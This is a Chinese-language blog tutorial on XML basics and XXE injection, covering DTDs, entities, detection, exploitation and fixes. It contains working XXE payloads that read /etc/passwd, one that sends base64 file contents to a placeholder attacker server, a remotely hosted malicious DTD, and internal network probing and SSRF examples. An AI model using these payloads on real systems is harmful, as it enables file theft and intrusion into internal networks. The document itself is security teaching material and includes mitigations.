XXE基础

XML External Entity Injection

XML基础知识

XML包括三部分:XML声明、文档类型定义(DTD)(Optional)、文档元素。下面是一个格式的示范

<!--这是注释-->
<!--XML声明-->
<?xml version="1.0"?>

<!--文档类型定义-->
<!DOCTYPE note [  <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)>  <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)>     <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)>   <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)>   <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)>   <!--定义body元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

XML-DTD简介

DTD 教程 | 菜鸟教程

DTD定义了一系列的元素,这些元素可以用来定义文档的结构,也就是文档中可以出现的一些标签。DTD的一些关键字如下:

  • DOCTYPE(DTD的声明)

  • ENTITY(实体的声明)

  • SYSTEM、PUBLIC(外部资源申请)

DTD可以被声明在XML文档,也可以作为外部引用。

内部声明

<!DOCTYPE 根元素 [元素声明]>

外部引用

<!DOCTYPE 根元素 SYSTEM "文件名">
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<!--note.dtd为外部dtd文件-->
<note>
  <to>Tove</to>
  <from>Jani</from>
  <heading>Reminder</heading>
  <body>Don't forget me this weekend!</body>
</note>

为什么使用DTD?——标准问题

  • 通过 DTD,每一个 XML 文件均可携带一个有关其自身格式的描述。

  • 通过 DTD,独立的团体可一致地使用某个标准的 DTD 来交换数据。

  • 而应用程序也可使用某个标准的 DTD 来验证从外部接收到的数据。

  • 还可以使用 DTD 来验证您自身的数据。

XML-构建模块

所有的 XML 文档(以及 HTML 文档)均由以下构建模块构成:

  • 元素
  • 属性
  • 实体
  • PCDATA
  • CDATA

元素和属性

HTML 元素的例子是 "body" 和 "table"

XML 元素的例子是 "note" 和 "message"

元素可包含文本、其他元素或者是空的

空的 HTML 元素的例子是 "hr"、"br" 以及 "img"

<body>some text</body>
<message>some text</message>

属性可以提供一些关于元素的额外信息,例如:

<img src="computer.gif" />

元素本身为空,所以html中用一个/关闭。

元素声明的方法有很多,下面粗略列出,格式为:模式||示例||注释

PCDATA

PCDATA 的意思是被解析的字符数据(parsed character data),可把字符数据想象为 XML 元素的开始标签与结束标签之间的文本。

PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。

文本中的标签会被当作标记来处理,而实体会被展开。因此被解析的字符数据不应当包含任何 &、< 或者 > 字符;需要使用 &、< 以及 > 实体来分别替换它们

CDATA

CDATA 的意思是字符数据(character data)。

CDATA 是不会被解析器解析的文本。

在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。

实体

实体就是用来定义【普通文本】的变量,目的是防止注入的发生。

实体引用则是一个符号,引用了该实体定义了的普通文本。当实体被XML解析器解析时,实体就会展开。

例如:

  • &lt; -> <

  • &gt; -> >

  • &amp; -> &

  • &quot; -> "

  • &apos; -> '

HTML实体 ISO-8859-1 参考手册

实体分为内部实体、字符实体、通用实体、参数实体。

重点介绍外部实体参数实体(XXE主要利用了DTD引用外部实体导致的漏洞)

外部实体

<!ENTITY 实体名称 SYSTEM "URI">

外部实体可以有以下这些类型,不同语言的支持类型各异

image

php安装扩展还可以支持更多协议

image

举例:

<!DOCTYPE vuln[
    <!ENTITY content SYSTEM "file:///etc/passwd">]>
<foo>
    <value>&content</value>
</foo>

参数实体

参数实体在远程文件读取中,可以绕过文件内容复杂导致解析失败的限制

参数实体以%开头,使用参数实体只需要遵循两条原则:

  1. 参数实体只能在DTD声明中 调用

  2. 参数实体中不能再引用参数实体

<!DOCTYPE foo[
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///etc/fstab">
<!ENTITY % end "]]>">
<!ENTITY all "%start;%goodies;%end;">
]>

<foo>&all;</foo>

start,goodies和end是为了组成CDATA,避免被XML解析器解析。

<foo><! [CDATA["/etc/fstab文件的内容"]]></foo>

PHP中,php的filter协议转换为base64也可以绕过xml的解析器。

XXE

XXE的检测

首先检测XML可否被成功解析

?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE ANY [  
<!ENTITY name "HELLO">]>    
<root>&name;</root>

如果输出了HELLO,则说明可以被解析

然后检测是否支持DTD外部引用外部实体

<?xml version=”1.0” encoding=”UTF-8”?>  
<!DOCTYPE ANY [  
<!ENTITY % name SYSTEM "http://localhost/index.html">  
%name;  
]>

如果支持,很可能存在XXE漏洞。

XXE的利用

本质上就是利用各种协议,基于服务器上Web应用程序的权限,进行各种大于客户权限的操作。

任意文件读取

<!DOCTYPE foo [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

不回显:发送至服务器

<!DOCTYPE foo[
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
    <!ENTITY % send SYSTEM 'http://yourServerIp/?%file'>
%file;
%send;
]>

输入时关键字过滤:引用远程DTD

比如过滤了file协议,那么可以在自己的服务器上建立一个DTD,再远程引用。

<!DOCTYPE a [
 <!ENTITY % dtd SYSTEM "http://www.hackersb.cn/attack.dtd"> 
%dtd; 
]>

其中,attack.dtd的内容为

<!ENTITY b SYSTEM "file:///etc/passwd">

注意:内层的实体如果是参数实体,其中的%必须进行URL字符实体的替换,即写成&#x25;

内网探测

NJUPT-CTF的一个例子

?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
 <!ENTITY xxe SYSTEM "http://192.168.1.8">
 ]>

<user><username>&xxe;</username><password>asd</password></user>

还可以探测端口,如果返回显示Connection Refused说明端口是关闭的,Request Failed等信息说明端口开启。

SSRF

可以以XXE主机为跳板,攻击内网的主机。就是在URL中加入payload

即使禁止了外部实体引用,SSRF也不会因此消失。可以使用DOCTYPE的方法:

<!DOCTYPE foo PUBLIC "-//VSR//PENTEST//EN" "http://internal/service?ssrf"

某些JSON解析引发XXE

有些服务器接收的请求格式为JSON。将JSON转换为XML,如果服务器仍然可以解析,则容易出现XXE漏洞。

首先JSON转换为XML,有一些自动转换工具:

Original JSON
{"search":"name","value":"netspitest"}

XML Conversion
<?xml version="1.0" encoding="UTF-8" ?>
<root>
<search>name</search>
<value>netspitest</value>
</root>

注意最后手动加上XML的root标签。

接下来更改Content-type

HTTP Request:
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 112

进行XXE攻击

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<search>name</search>
<value>&xxe;</value>
</root>

不是所有JSON终端都会接收XML格式,改变Content-Type并没有太大用处,有可能你只会得到一个415的数据类型不支持错误。

DOS

递归地引用实体就会导致服务器资源被大量占用。

image

XXE的修复

各种语言的禁用外部实体方法

//php
libxml_disable_entity_loader(true); 

//java
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

//python
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

过滤

过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC。

参考文献

未知攻焉知防——XXE漏洞攻防

XXE漏洞攻防之我见 - 安全客,安全资讯平台

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 213,558评论 6 492
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,002评论 3 387
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 159,036评论 0 349
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,024评论 1 285
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,144评论 6 385
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,255评论 1 292
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,295评论 3 412
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,068评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,478评论 1 305
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,789评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,965评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,649评论 4 336
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,267评论 3 318
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,982评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,223评论 1 267
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,800评论 2 365
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,847评论 2 351

推荐阅读更多精彩内容

  • # XML复习 ## 第一章 ## 思考题 **什么是XML?** XML是可扩展性标记语言,XML是标准通用标记...
    冷漠铁锤丁富贵阅读 802评论 0 0
  • 课程内容:XML 安装MyEclipse开发工具 * 破解(看图) * 配置 * 配置工作空间的编码(UTF-...
    流年划破容颜_cc55阅读 1,182评论 0 2
  • XML基础 众所周知,xml常用于数据存储和传输,文件后缀为 .xml; 它是可扩展标记语言(Extensible...
    帅猪佩奇阅读 2,671评论 0 1
  • XML 指可扩展标记语言。标记指计算机所能理解的信息符号,通过此种标记,计算机之间可以处理包含各种信息的文章等。 ...
    神齐阅读 774评论 0 3
  • xml经典总结 XML(eXtensible Markup Language)是万维网联盟(World Wide ...
    java日记阅读 947评论 0 2